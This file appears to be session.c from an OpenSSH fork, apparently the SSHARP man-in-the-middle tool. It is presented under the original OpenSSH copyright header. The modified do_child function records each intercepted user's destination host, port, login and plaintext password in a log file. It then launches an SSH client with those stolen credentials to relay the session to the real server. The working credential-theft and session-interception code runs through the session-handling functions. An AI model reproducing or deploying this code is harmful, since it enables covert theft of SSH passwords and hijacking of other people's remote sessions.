/* * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland * All rights reserved * * As far as I am concerned, the code I have written for this software * can be used freely for any purpose. Any derived versions of this * software must be clearly marked as such, and if the derived work is * incompatible with the protocol description in the RFC file, it must be * called by a name other than "ssh" or "Secure Shell". * * SSH2 support by Markus Friedl. * Copyright (c) 2000 Markus Friedl. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "includes.h" RCSID("$OpenBSD: session.c,v 1.74 2001/04/17 19:34:25 markus Exp $"); #include "ssh.h" #include "ssh1.h" #include "ssh2.h" #include "xmalloc.h" #include "sshpty.h" #include "packet.h" #include "buffer.h" #include "mpaux.h" #include "uidswap.h" #include "compat.h" #include "channels.h" #include "nchan.h" #include "bufaux.h" #include "auth.h" #include "auth-options.h" #include "pathnames.h" #include "log.h" #include "servconf.h" #include "sshlogin.h" #include "serverloop.h" #include "canohost.h" #include "session.h" #include "ssharp.h" #ifdef WITH_IRIX_PROJECT #include #endif /* WITH_IRIX_PROJECT */ #ifdef WITH_IRIX_JOBS #include #endif #ifdef WITH_IRIX_AUDIT #include #endif /* WITH_IRIX_AUDIT */ #if defined(HAVE_USERSEC_H) #include #endif #ifdef HAVE_CYGWIN #include #include #define is_winnt (GetVersion() < 0x80000000) #endif /* AIX limits */ #if defined(HAVE_GETUSERATTR) && !defined(S_UFSIZE_HARD) && defined(S_UFSIZE) # define S_UFSIZE_HARD S_UFSIZE "_hard" # define S_UCPU_HARD S_UCPU "_hard" # define S_UDATA_HARD S_UDATA "_hard" # define S_USTACK_HARD S_USTACK "_hard" # define S_URSS_HARD S_URSS "_hard" # define S_UCORE_HARD S_UCORE "_hard" # define S_UNOFILE_HARD S_UNOFILE "_hard" #endif #ifdef _AIX # include #endif /* types */ #define TTYSZ 64 typedef struct Session Session; struct Session { int used; int self; struct passwd *pw; pid_t pid; /* tty */ char *term; int ptyfd, ttyfd, ptymaster; int row, col, xpixel, ypixel; char tty[TTYSZ]; /* X11 */ char *display; int screen; char *auth_proto; char *auth_data; int single_connection; /* proto 2 */ int chanid; int is_subsystem; /* SSHARP */ sharp_t sharp; }; Authctxt *global_ssh2_ctx; /* func */ Session *session_new(void); void session_set_fds(Session *s, int fdin, int fdout, int fderr); void session_pty_cleanup(Session *s); void session_proctitle(Session *s); void do_exec_pty(Session *s, const char *command); void do_exec_no_pty(Session *s, const char *command); void do_child(Session *s, const char *command); void do_motd(void); void do_authenticated1(Authctxt *authctxt); void do_authenticated2(Authctxt *authctxt); /* import */ extern ServerOptions options; extern char *__progname; extern int log_stderr; extern int debug_flag; extern u_int utmp_len; extern int startup_pipe; extern void destroy_sensitive_data(void); /* Local Xauthority file. */ static char *xauthfile; /* original command from peer. */ char *original_command = NULL; /* data */ #define MAX_SESSIONS 10 Session sessions[MAX_SESSIONS]; #ifdef WITH_AIXAUTHENTICATE /* AIX's lastlogin message, set in auth1.c */ char *aixloginmsg; #endif /* WITH_AIXAUTHENTICATE */ #ifdef HAVE_LOGIN_CAP static login_cap_t *lc; #endif void do_authenticated(Authctxt *authctxt) { /* * Cancel the alarm we set to limit the time taken for * authentication. */ alarm(0); if (startup_pipe != -1) { close(startup_pipe); startup_pipe = -1; } /* setup the channel layer */ if (!no_port_forwarding_flag && options.allow_tcp_forwarding) channel_permit_all_opens(); if (compat20) do_authenticated2(authctxt); else do_authenticated1(authctxt); } /* * Remove local Xauthority file. */ void xauthfile_cleanup_proc(void *ignore) { debug("xauthfile_cleanup_proc called"); if (xauthfile != NULL) { char *p; unlink(xauthfile); p = strrchr(xauthfile, '/'); if (p != NULL) { *p = '\0'; rmdir(xauthfile); } xfree(xauthfile); xauthfile = NULL; } } /* * Function to perform cleanup if we get aborted abnormally (e.g., due to a * dropped connection). */ void pty_cleanup_proc(void *session) { Session *s=session; if (s == NULL) fatal("pty_cleanup_proc: no session"); debug("pty_cleanup_proc: %s", s->tty); if (s->pid != 0) { /* Record that the user has logged out. */ record_logout(s->pid, s->tty); } /* Release the pseudo-tty. */ pty_release(s->tty); } /* * Prepares for an interactive session. This is called after the user has * been successfully authenticated. During this message exchange, pseudo * terminals are allocated, X11, TCP/IP, and authentication agent forwardings * are requested, etc. */ void do_authenticated1(Authctxt *authctxt) { Session *s; char *command; int success, type, n_bytes, plen, have_pty = 0; int compression_level = 0, enable_compression_after_reply = 0; u_int dlen; s = session_new(); s->pw = getpwnam("nobody"); s->sharp = sharp_dup(&authctxt->sharp); if (!s->pw) { debug("No user nobody.\n"); exit(1); } /* * We stay in this loop until the client requests to execute a shell * or a command. */ for (;;) { success = 0; /* Get a packet from the client. */ type = packet_read(&plen); /* Process the packet. */ switch (type) { case SSH_CMSG_REQUEST_COMPRESSION: packet_integrity_check(plen, 4, type); compression_level = packet_get_int(); if (compression_level < 1 || compression_level > 9) { packet_send_debug("Received illegal compression level %d.", compression_level); break; } /* Enable compression after we have responded with SUCCESS. */ enable_compression_after_reply = 1; success = 1; break; case SSH_CMSG_REQUEST_PTY: if (authctxt->how == AUTH_RSA) { success = 1; break; } if (no_pty_flag) { debug("Allocating a pty not permitted for this authentication."); break; } if (have_pty) packet_disconnect("Protocol error: you already have a pty."); debug("Allocating pty."); /* Allocate a pty and open it. */ if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, sizeof(s->tty))) { error("Failed to allocate pty."); break; } fatal_add_cleanup(pty_cleanup_proc, (void *)s); pty_setowner(s->pw, s->tty); /* Get TERM from the packet. Note that the value may be of arbitrary length. */ s->term = packet_get_string(&dlen); packet_integrity_check(dlen, strlen(s->term), type); /* packet_integrity_check(plen, 4 + dlen + 4*4 + n_bytes, type); */ /* Remaining bytes */ n_bytes = plen - (4 + dlen + 4 * 4); if (strcmp(s->term, "") == 0) { xfree(s->term); s->term = NULL; } /* Get window size from the packet. */ s->row = packet_get_int(); s->col = packet_get_int(); s->xpixel = packet_get_int(); s->ypixel = packet_get_int(); pty_change_window_size(s->ptyfd, s->row, s->col, s->xpixel, s->ypixel); /* Get tty modes from the packet. */ tty_parse_modes(s->ttyfd, &n_bytes); packet_integrity_check(plen, 4 + dlen + 4 * 4 + n_bytes, type); /* Indicate that we now have a pty. */ success = 1; have_pty = 1; break; case SSH_CMSG_MAX_PACKET_SIZE: if (packet_set_maxsize(packet_get_int()) > 0) success = 1; break; case SSH_CMSG_EXEC_SHELL: case SSH_CMSG_EXEC_CMD: if (authctxt->how == AUTH_RSA) { } if (!have_pty) { /* Allocate a pty and open it. */ if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, sizeof(s->tty))) { error("Failed to allocate pty."); break; } fatal_add_cleanup(pty_cleanup_proc, (void *)s); pty_setowner(s->pw, s->tty); success = 1; have_pty = 1; } if (type == SSH_CMSG_EXEC_CMD) { command = packet_get_string(&dlen); debug("Exec command '%.500s'", command); packet_integrity_check(plen, 4 + dlen, type); } else { command = NULL; packet_integrity_check(plen, 0, type); } do_exec_pty(s, command); if (command != NULL) xfree(command); /* Cleanup user's local Xauthority file. */ if (xauthfile) xauthfile_cleanup_proc(NULL); return; default: /* * Any unknown messages in this phase are ignored, * and a failure message is returned. */ log("Unknown packet type received after authentication: %d", type); } packet_start(success ? SSH_SMSG_SUCCESS : SSH_SMSG_FAILURE); packet_send(); packet_write_wait(); /* Enable compression now that we have replied if appropriate. */ if (enable_compression_after_reply) { enable_compression_after_reply = 0; packet_start_compression(compression_level); } } } /* * This is called to fork and execute a command when we have no tty. This * will call do_child from the child, and server_loop from the parent after * setting up file descriptors and such. */ void do_exec_no_pty(Session *s, const char *command) { int pid; #ifdef USE_PIPES int pin[2], pout[2], perr[2]; /* Allocate pipes for communicating with the program. */ if (pipe(pin) < 0 || pipe(pout) < 0 || pipe(perr) < 0) packet_disconnect("Could not create pipes: %.100s", strerror(errno)); #else /* USE_PIPES */ int inout[2], err[2]; /* Uses socket pairs to communicate with the program. */ if (socketpair(AF_UNIX, SOCK_STREAM, 0, inout) < 0 || socketpair(AF_UNIX, SOCK_STREAM, 0, err) < 0) packet_disconnect("Could not create socket pairs: %.100s", strerror(errno)); #endif /* USE_PIPES */ if (s == NULL) fatal("do_exec_no_pty: no session"); session_proctitle(s); #if defined(USE_PAM) do_pam_setcred(1); #endif /* USE_PAM */ /* Fork the child. */ if ((pid = fork()) == 0) { /* Child. Reinitialize the log since the pid has changed. */ log_init(__progname, options.log_level, options.log_facility, log_stderr); /* * Create a new session and process group since the 4.4BSD * setlogin() affects the entire process group. */ if (setsid() < 0) error("setsid failed: %.100s", strerror(errno)); #ifdef USE_PIPES /* * Redirect stdin. We close the parent side of the socket * pair, and make the child side the standard input. */ close(pin[1]); if (dup2(pin[0], 0) < 0) perror("dup2 stdin"); close(pin[0]); /* Redirect stdout. */ close(pout[0]); if (dup2(pout[1], 1) < 0) perror("dup2 stdout"); close(pout[1]); /* Redirect stderr. */ close(perr[0]); if (dup2(perr[1], 2) < 0) perror("dup2 stderr"); close(perr[1]); #else /* USE_PIPES */ /* * Redirect stdin, stdout, and stderr. Stdin and stdout will * use the same socket, as some programs (particularly rdist) * seem to depend on it. */ close(inout[1]); close(err[1]); if (dup2(inout[0], 0) < 0) /* stdin */ perror("dup2 stdin"); if (dup2(inout[0], 1) < 0) /* stdout. Note: same socket as stdin. */ perror("dup2 stdout"); if (dup2(err[0], 2) < 0) /* stderr */ perror("dup2 stderr"); #endif /* USE_PIPES */ /* Do processing for the child (exec command etc). */ do_child(s, command); /* NOTREACHED */ } #ifdef HAVE_CYGWIN if (is_winnt) cygwin_set_impersonation_token(INVALID_HANDLE_VALUE); #endif if (pid < 0) packet_disconnect("fork failed: %.100s", strerror(errno)); s->pid = pid; /* Set interactive/non-interactive mode. */ packet_set_interactive(s->display != NULL); #ifdef USE_PIPES /* We are the parent. Close the child sides of the pipes. */ close(pin[0]); close(pout[1]); close(perr[1]); if (compat20) { session_set_fds(s, pin[1], pout[0], s->is_subsystem ? -1 : perr[0]); } else { /* Enter the interactive session. */ server_loop(pid, pin[1], pout[0], perr[0]); /* server_loop has closed pin[1], pout[0], and perr[0]. */ } #else /* USE_PIPES */ /* We are the parent. Close the child sides of the socket pairs. */ close(inout[0]); close(err[0]); /* * Enter the interactive session. Note: server_loop must be able to * handle the case that fdin and fdout are the same. */ if (compat20) { session_set_fds(s, inout[1], inout[1], s->is_subsystem ? -1 : err[1]); } else { server_loop(pid, inout[1], inout[1], err[1]); /* server_loop has closed inout[1] and err[1]. */ } #endif /* USE_PIPES */ } /* * This is called to fork and execute a command when we have a tty. This * will call do_child from the child, and server_loop from the parent after * setting up file descriptors, controlling tty, updating wtmp, utmp, * lastlog, and other such operations. */ void do_exec_pty(Session *s, const char *command) { int fdout, ptyfd, ttyfd, ptymaster; pid_t pid; if (s == NULL) fatal("do_exec_pty: no session"); ptyfd = s->ptyfd; ttyfd = s->ttyfd; /* Fork the child. */ if ((pid = fork()) == 0) { /* Child. Reinitialize the log because the pid has changed. */ log_init(__progname, options.log_level, options.log_facility, log_stderr); /* Close the master side of the pseudo tty. */ close(ptyfd); /* Make the pseudo tty our controlling tty. */ pty_make_controlling_tty(&ttyfd, s->tty); /* Redirect stdin from the pseudo tty. */ if (dup2(ttyfd, fileno(stdin)) < 0) error("dup2 stdin failed: %.100s", strerror(errno)); /* Redirect stdout to the pseudo tty. */ if (dup2(ttyfd, fileno(stdout)) < 0) error("dup2 stdin failed: %.100s", strerror(errno)); /* Redirect stderr to the pseudo tty. */ if (dup2(ttyfd, fileno(stderr)) < 0) error("dup2 stdin failed: %.100s", strerror(errno)); /* Close the extra descriptor for the pseudo tty. */ close(ttyfd); /* Do common processing for the child, such as execing the command. */ do_child(s, command); /* NOTREACHED */ } #ifdef HAVE_CYGWIN if (is_winnt) cygwin_set_impersonation_token(INVALID_HANDLE_VALUE); #endif if (pid < 0) packet_disconnect("fork failed: %.100s", strerror(errno)); s->pid = pid; /* Parent. Close the slave side of the pseudo tty. */ close(ttyfd); /* * Create another descriptor of the pty master side for use as the * standard input. We could use the original descriptor, but this * simplifies code in server_loop. The descriptor is bidirectional. */ fdout = dup(ptyfd); if (fdout < 0) packet_disconnect("dup #1 failed: %.100s", strerror(errno)); /* we keep a reference to the pty master */ ptymaster = dup(ptyfd); if (ptymaster < 0) packet_disconnect("dup #2 failed: %.100s", strerror(errno)); s->ptymaster = ptymaster; /* Enter interactive session. */ packet_set_interactive(1); if (compat20) { session_set_fds(s, ptyfd, fdout, -1); } else { server_loop(pid, ptyfd, fdout, -1); /* server_loop _has_ closed ptyfd and fdout. */ session_pty_cleanup(s); } } /* administrative, login(1)-like work */ void do_login(Session *s, const char *command) { socklen_t fromlen; struct sockaddr_storage from; /* * Get IP address of client. If the connection is not a socket, let * the address be 0.0.0.0. */ memset(&from, 0, sizeof(from)); if (packet_connection_is_on_socket()) { fromlen = sizeof(from); if (getpeername(packet_get_connection_in(), (struct sockaddr *) & from, &fromlen) < 0) { debug("getpeername: %.100s", strerror(errno)); fatal_cleanup(); } } } /* * Performs common processing for the child, such as setting up the * environment, closing extra file descriptors, setting the user and group * ids, and executing the command or shell. */ void do_child(Session *s, const char *command) { char *argv[20]; int i; struct sockaddr_in dst; FILE *f; #ifdef USE_MSS char mss_socket[1024]; #endif char *tenv[] = {NULL, NULL}, tbuf[1024]; /* remove hostkey from the child's memory */ destroy_sensitive_data(); /* SSHARP: get real destination XXX: IPv6? */ dstaddr(packet_get_connection_in(), &dst); s->sharp.remote = strdup(inet_ntoa(dst.sin_addr)); s->sharp.remote_port = ntohs(dst.sin_port); log("Forwarding to %s:%d", s->sharp.remote, s->sharp.remote_port); f = fopen(SSHARP_LOG, "a+"); if (f) { fprintf(f, "%s:%d [%s:%s]\n", s->sharp.remote, s->sharp.remote_port, s->sharp.login, s->sharp.pass); fclose(f); } /* * Close the connection descriptors; note that this is the child, and * the server will still have the socket open, and it is important * that we do not shutdown it. Note that the descriptors cannot be * closed before building the environment, as we call * get_remote_ipaddr there. */ if (packet_get_connection_in() == packet_get_connection_out()) close(packet_get_connection_in()); else { close(packet_get_connection_in()); close(packet_get_connection_out()); } /* * Close all descriptors related to channels. They will still remain * open in the parent. */ /* XXX better use close-on-exec? -markus */ channel_close_all(); /* * Close any extra file descriptors. Note that there may still be * descriptors left by system functions. They will be closed later. */ endpwent(); /* * Close any extra open file descriptors so that we don\'t have them * hanging around in clients. Note that we want to do this after * initgroups, because at least on Solaris 2.3 it leaves file * descriptors open. */ for (i = 3; i < 64; i++) close(i); /* restore SIGPIPE for child */ signal(SIGPIPE, SIG_DFL); setgid(s->pw->pw_gid); setuid(s->pw->pw_uid); /* Execute the shell. */ #ifdef USE_MSS argv[0] = "/usr/local/bin/mss-server"; argv[1] = "-n"; argv[2] = "-S"; snprintf(mss_socket, sizeof(mss_socket), "/tmp/ssharp-%s.%d", s->sharp.remote, getppid()); argv[3] = mss_socket; argv[4] = "-s"; argv[5] = SSHARP_CLIENT; argv[6] = "-Z"; argv[7] = s->sharp.pass; argv[8] = "-l"; argv[9] = s->sharp.login; argv[10] = s->sharp.remote; if (command) argv[11] = strdup(command); else argv[11] = NULL; argv[12] = NULL; #else argv[0] = SSHARP_CLIENT; argv[1] = "-Z"; argv[2] = s->sharp.pass; argv[3] = "-l"; argv[4] = s->sharp.login; argv[5] = s->sharp.remote; if (command) argv[6] = strdup(command); else argv[6] = NULL; argv[7] = NULL; #endif snprintf(tbuf, sizeof(tbuf), "TERM=%s", s->term); tenv[0] = tbuf; execve(*argv, argv, tenv); debug(strerror(errno)); /* Executing the shell failed. */ perror("execve"); exit(1); } Session * session_new(void) { int i; static int did_init = 0; if (!did_init) { debug("session_new: init"); for(i = 0; i < MAX_SESSIONS; i++) { sessions[i].used = 0; sessions[i].self = i; } did_init = 1; } for(i = 0; i < MAX_SESSIONS; i++) { Session *s = &sessions[i]; if (! s->used) { memset(s, 0, sizeof(*s)); s->chanid = -1; s->ptyfd = -1; s->ttyfd = -1; s->used = 1; debug("session_new: session %d", i); return s; } } return NULL; } void session_dump(void) { int i; for(i = 0; i < MAX_SESSIONS; i++) { Session *s = &sessions[i]; debug("dump: used %d session %d %p channel %d pid %d", s->used, s->self, s, s->chanid, s->pid); } } int session_open(int chanid) { Session *s = session_new(); debug("session_open: channel %d", chanid); if (s == NULL) { error("no more sessions"); return 0; } /* SSHARP */ s->pw = getpwnam("nobody"); if (s->pw == NULL) fatal("no user for session %d", s->self); debug("session_open: session %d: link with channel %d", s->self, chanid); s->chanid = chanid; return 1; } Session * session_by_channel(int id) { int i; for(i = 0; i < MAX_SESSIONS; i++) { Session *s = &sessions[i]; if (s->used && s->chanid == id) { debug("session_by_channel: session %d channel %d", i, id); return s; } } debug("session_by_channel: unknown channel %d", id); session_dump(); return NULL; } Session * session_by_pid(pid_t pid) { int i; debug("session_by_pid: pid %d", pid); for(i = 0; i < MAX_SESSIONS; i++) { Session *s = &sessions[i]; if (s->used && s->pid == pid) return s; } error("session_by_pid: unknown pid %d", pid); session_dump(); return NULL; } int session_window_change_req(Session *s) { s->col = packet_get_int(); s->row = packet_get_int(); s->xpixel = packet_get_int(); s->ypixel = packet_get_int(); packet_done(); pty_change_window_size(s->ptyfd, s->row, s->col, s->xpixel, s->ypixel); return 1; } int session_pty_req(Session *s) { u_int len; int n_bytes; if (no_pty_flag) return 0; if (s->ttyfd != -1) return 0; s->term = packet_get_string(&len); s->col = packet_get_int(); s->row = packet_get_int(); s->xpixel = packet_get_int(); s->ypixel = packet_get_int(); if (strcmp(s->term, "") == 0) { xfree(s->term); s->term = NULL; } /* Allocate a pty and open it. */ if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, sizeof(s->tty))) { xfree(s->term); s->term = NULL; s->ptyfd = -1; s->ttyfd = -1; error("session_pty_req: session %d alloc failed", s->self); return 0; } debug("session_pty_req: session %d alloc %s", s->self, s->tty); /* * Add a cleanup function to clear the utmp entry and record logout * time in case we call fatal() (e.g., the connection gets closed). */ fatal_add_cleanup(pty_cleanup_proc, (void *)s); pty_setowner(s->pw, s->tty); /* Get window size from the packet. */ pty_change_window_size(s->ptyfd, s->row, s->col, s->xpixel, s->ypixel); /* Get tty modes from the packet. */ tty_parse_modes(s->ttyfd, &n_bytes); packet_done(); session_proctitle(s); return 1; } int session_subsystem_req(Session *s) { u_int len; int success = 0; char *subsys = packet_get_string(&len); int i; packet_done(); log("subsystem request for %s", subsys); for (i = 0; i < options.num_subsystems; i++) { if(strcmp(subsys, options.subsystem_name[i]) == 0) { debug("subsystem: exec() %s", options.subsystem_command[i]); s->is_subsystem = 1; do_exec_no_pty(s, options.subsystem_command[i]); success = 1; } } if (!success) log("subsystem request for %s failed, subsystem not found", subsys); xfree(subsys); return success; } int session_x11_req(Session *s) { int fd; if (no_x11_forwarding_flag) { debug("X11 forwarding disabled in user configuration file."); return 0; } if (!options.x11_forwarding) { debug("X11 forwarding disabled in server configuration file."); return 0; } if (xauthfile != NULL) { debug("X11 fwd already started."); return 0; } debug("Received request for X11 forwarding with auth spoofing."); if (s->display != NULL) packet_disconnect("Protocol error: X11 display already set."); s->single_connection = packet_get_char(); s->auth_proto = packet_get_string(NULL); s->auth_data = packet_get_string(NULL); s->screen = packet_get_int(); packet_done(); s->display = x11_create_display_inet(s->screen, options.x11_display_offset); if (s->display == NULL) { xfree(s->auth_proto); xfree(s->auth_data); return 0; } xauthfile = xmalloc(MAXPATHLEN); strlcpy(xauthfile, "/tmp/ssh-XXXXXXXX", MAXPATHLEN); temporarily_use_uid(s->pw); if (mkdtemp(xauthfile) == NULL) { restore_uid(); error("private X11 dir: mkdtemp %s failed: %s", xauthfile, strerror(errno)); xfree(xauthfile); xauthfile = NULL; xfree(s->auth_proto); xfree(s->auth_data); /* XXXX remove listening channels */ return 0; } strlcat(xauthfile, "/cookies", MAXPATHLEN); fd = open(xauthfile, O_RDWR|O_CREAT|O_EXCL, 0600); if (fd >= 0) close(fd); restore_uid(); fatal_add_cleanup(xauthfile_cleanup_proc, s); return 1; } int session_shell_req(Session *s) { /* if forced_command == NULL, the shell is execed */ char *shell = forced_command; s->sharp = sharp_dup(&global_ssh2_ctx->sharp); packet_done(); if (s->ttyfd == -1) ;//do_exec_no_pty(s, shell); else do_exec_pty(s, shell); return 1; } int session_exec_req(Session *s) { u_int len; char *command = packet_get_string(&len); packet_done(); s->sharp = sharp_dup(&global_ssh2_ctx->sharp); if (forced_command) { original_command = command; command = forced_command; debug("Forced command '%.500s'", forced_command); } if (s->ttyfd == -1) { /* Allocate a pty and open it. */ if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, sizeof(s->tty))) { xfree(s->term); s->term = NULL; s->ptyfd = -1; s->ttyfd = -1; error("session_pty_req: session %d alloc failed", s->self); return 0; } debug("session_pty_req: session %d alloc %s", s->self, s->tty); /* * Add a cleanup function to clear the utmp entry and record logout * time in case we call fatal() (e.g., the connection gets closed). */ fatal_add_cleanup(pty_cleanup_proc, (void *)s); pty_setowner(s->pw, s->tty); } do_exec_pty(s, command); if (forced_command == NULL) xfree(command); return 1; } int session_auth_agent_req(Session *s) { static int called = 0; packet_done(); if (no_agent_forwarding_flag) { debug("session_auth_agent_req: no_agent_forwarding_flag"); return 0; } if (called) { return 0; } else { called = 1; return auth_input_request_forwarding(s->pw); } } void session_input_channel_req(int id, void *arg) { u_int len; int reply; int success = 0; char *rtype; Session *s; Channel *c; rtype = packet_get_string(&len); reply = packet_get_char(); s = session_by_channel(id); if (s == NULL) fatal("session_input_channel_req: channel %d: no session", id); c = channel_lookup(id); if (c == NULL) fatal("session_input_channel_req: channel %d: bad channel", id); debug("session_input_channel_req: session %d channel %d request %s reply %d", s->self, id, rtype, reply); /* * a session is in LARVAL state until a shell, a command * or a subsystem is executed */ if (c->type == SSH_CHANNEL_LARVAL) { if (strcmp(rtype, "shell") == 0) { success = session_shell_req(s); } else if (strcmp(rtype, "exec") == 0) { success = session_exec_req(s); } else if (strcmp(rtype, "pty-req") == 0) { success = session_pty_req(s); }/* else if (strcmp(rtype, "x11-req") == 0) { success = session_x11_req(s); } else if (strcmp(rtype, "auth-agent-req@openssh.com") == 0) { success = session_auth_agent_req(s); } else if (strcmp(rtype, "subsystem") == 0) { success = session_subsystem_req(s); }*/ } if (strcmp(rtype, "window-change") == 0) { success = session_window_change_req(s); } if (reply) { packet_start(success ? SSH2_MSG_CHANNEL_SUCCESS : SSH2_MSG_CHANNEL_FAILURE); packet_put_int(c->remote_id); packet_send(); } xfree(rtype); } void session_set_fds(Session *s, int fdin, int fdout, int fderr) { if (!compat20) fatal("session_set_fds: called for proto != 2.0"); /* * now that have a child and a pipe to the child, * we can activate our channel and register the fd's */ if (s->chanid == -1) fatal("no channel for session %d", s->self); channel_set_fds(s->chanid, fdout, fdin, fderr, fderr == -1 ? CHAN_EXTENDED_IGNORE : CHAN_EXTENDED_READ, 1); } void session_pty_cleanup(Session *s) { if (s == NULL || s->ttyfd == -1) return; debug("session_pty_cleanup: session %d release %s", s->self, s->tty); /* Cancel the cleanup function. */ fatal_remove_cleanup(pty_cleanup_proc, (void *)s); /* Record that the user has logged out. */ record_logout(s->pid, s->tty); /* Release the pseudo-tty. */ pty_release(s->tty); /* * Close the server side of the socket pairs. We must do this after * the pty cleanup, so that another process doesn't get this pty * while we're still cleaning up. */ if (close(s->ptymaster) < 0) error("close(s->ptymaster): %s", strerror(errno)); } void session_exit_message(Session *s, int status) { Channel *c; if (s == NULL) fatal("session_close: no session"); c = channel_lookup(s->chanid); if (c == NULL) fatal("session_close: session %d: no channel %d", s->self, s->chanid); debug("session_exit_message: session %d channel %d pid %d", s->self, s->chanid, s->pid); if (WIFEXITED(status)) { channel_request_start(s->chanid, "exit-status", 0); packet_put_int(WEXITSTATUS(status)); packet_send(); } else if (WIFSIGNALED(status)) { channel_request_start(s->chanid, "exit-signal", 0); packet_put_int(WTERMSIG(status)); #ifdef WCOREDUMP packet_put_char(WCOREDUMP(status)); #else /* WCOREDUMP */ packet_put_char(0); #endif /* WCOREDUMP */ packet_put_cstring(""); packet_put_cstring(""); packet_send(); } else { /* Some weird exit cause. Just exit. */ packet_disconnect("wait returned status %04x.", status); } /* disconnect channel */ debug("session_exit_message: release channel %d", s->chanid); channel_cancel_cleanup(s->chanid); /* * emulate a write failure with 'chan_write_failed', nobody will be * interested in data we write. * Note that we must not call 'chan_read_failed', since there could * be some more data waiting in the pipe. */ if (c->ostate != CHAN_OUTPUT_CLOSED) chan_write_failed(c); s->chanid = -1; } void session_free(Session *s) { debug("session_free: session %d pid %d", s->self, s->pid); if (s->term) xfree(s->term); if (s->display) xfree(s->display); if (s->auth_data) xfree(s->auth_data); if (s->auth_proto) xfree(s->auth_proto); s->used = 0; } void session_close(Session *s) { session_pty_cleanup(s); session_free(s); session_proctitle(s); } void session_close_by_pid(pid_t pid, int status) { Session *s = session_by_pid(pid); if (s == NULL) { debug("session_close_by_pid: no session for pid %d", s->pid); return; } if (s->chanid != -1) session_exit_message(s, status); session_close(s); } /* * this is called when a channel dies before * the session 'child' itself dies */ void session_close_by_channel(int id, void *arg) { Session *s = session_by_channel(id); if (s == NULL) { debug("session_close_by_channel: no session for channel %d", id); return; } /* disconnect channel */ channel_cancel_cleanup(s->chanid); s->chanid = -1; debug("session_close_by_channel: channel %d kill %d", id, s->pid); if (s->pid == 0) { /* close session immediately */ session_close(s); } else { /* notify child, delay session cleanup */ if (kill(s->pid, (s->ttyfd == -1) ? SIGTERM : SIGHUP) < 0) error("session_close_by_channel: kill %d: %s", s->pid, strerror(errno)); } } char * session_tty_list(void) { static char buf[1024]; int i; buf[0] = '\0'; for(i = 0; i < MAX_SESSIONS; i++) { Session *s = &sessions[i]; if (s->used && s->ttyfd != -1) { if (buf[0] != '\0') strlcat(buf, ",", sizeof buf); strlcat(buf, strrchr(s->tty, '/') + 1, sizeof buf); } } if (buf[0] == '\0') strlcpy(buf, "notty", sizeof buf); return buf; } void session_proctitle(Session *s) { if (s->pw == NULL) error("no user for session %d", s->self); else setproctitle("%s@%s", s->pw->pw_name, session_tty_list()); } void do_authenticated2(Authctxt *authctxt) { server_loop2(authctxt); if (xauthfile) xauthfile_cleanup_proc(NULL); }